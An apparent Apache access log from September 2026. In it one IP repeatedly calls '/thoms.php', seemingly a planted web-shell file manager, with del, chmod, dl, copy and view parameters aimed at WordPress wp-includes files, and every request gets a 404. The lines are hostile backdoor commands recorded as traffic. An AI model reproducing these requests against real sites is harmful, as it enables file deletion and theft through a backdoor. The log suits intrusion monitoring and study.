45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?del=class-wp-matchesmapregex.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-matchesmapregex.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?chmod=class-walker-nav-menu.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-walker-nav-menu.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-site-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-site-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-theme.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-theme.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?chmod=class.wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class.wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?dl=feed-atom-comments.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-atom-comments.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=https-detection.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=https-detection.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?chmod=locale.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=locale.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?del=IXR&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=IXR&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:17 -0400] "GET /thoms.php?chmod=Requests&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=Requests&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?chmod=class-wp-block-supports.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-supports.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?del=class-wp-customize-manager.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-manager.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?dl=class-wp-rewrite.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-rewrite.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?chmod=class-wp-scripts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-scripts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?del=class-wp-textdomain-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-textdomain-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?chmod=class-wp-theme-json-data.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-data.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?dl=class-http.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-http.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?dl=class-wp-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?chmod=embed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=embed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?chmod=version.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=version.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?del=version.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=version.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?del=view-transitions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=view-transitions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?chmod=class-wp-duotone.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-duotone.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?del=class-wp-paused-extensions-storage.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-paused-extensions-storage.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?dl=class-walker-category-dropdown.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-category-dropdown.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:18 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-bindings&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fblock-bindings&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-simplepie-file.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?chmod=class-wp-widget-factory.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-widget-factory.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-theme-json-data.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?dl=blocks.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=blocks.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-phpmailer.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?del=class-wp-image-editor-imagick.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-image-editor-imagick.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?chmod=class-wp-theme-json.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?del=class-wp-user-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-user-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?dl=date.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=date.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-styles-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2FSimplePie&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2FSimplePie&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?del=class-wp-session-tokens.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-session-tokens.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?dl=class-wp-user-meta-session-tokens.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-meta-session-tokens.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?dl=feed-rdf.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=feed-rdf.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:19 -0400] "GET /thoms.php?del=ms-site.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-site.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?dl=robots-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=robots-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?dl=speculative-loading.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=speculative-loading.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-post-type.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-post-type.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?del=class-wp-widget-factory.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-widget-factory.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?chmod=sitemaps.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=style-engine.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=style-engine.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?chmod=theme-templates.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-templates.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=theme.json HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=theme.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?dl=vars.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=vars.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?del=sodium_compat&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-avif-info.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-duotone.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-duotone.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?del=fonts.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=fonts.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?chmod=functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?del=ms-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:20 -0400] "GET /thoms.php?chmod=rss-functions.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rss-functions.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fimages&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fimages&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fjs&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fjs&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=user.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=user.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?chmod=wp-db.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?chmod=wp-diff.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=wp-diff.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=author-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=author-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-oembed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-cookie-service.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:59:21 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-simplepie-sanitize-kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
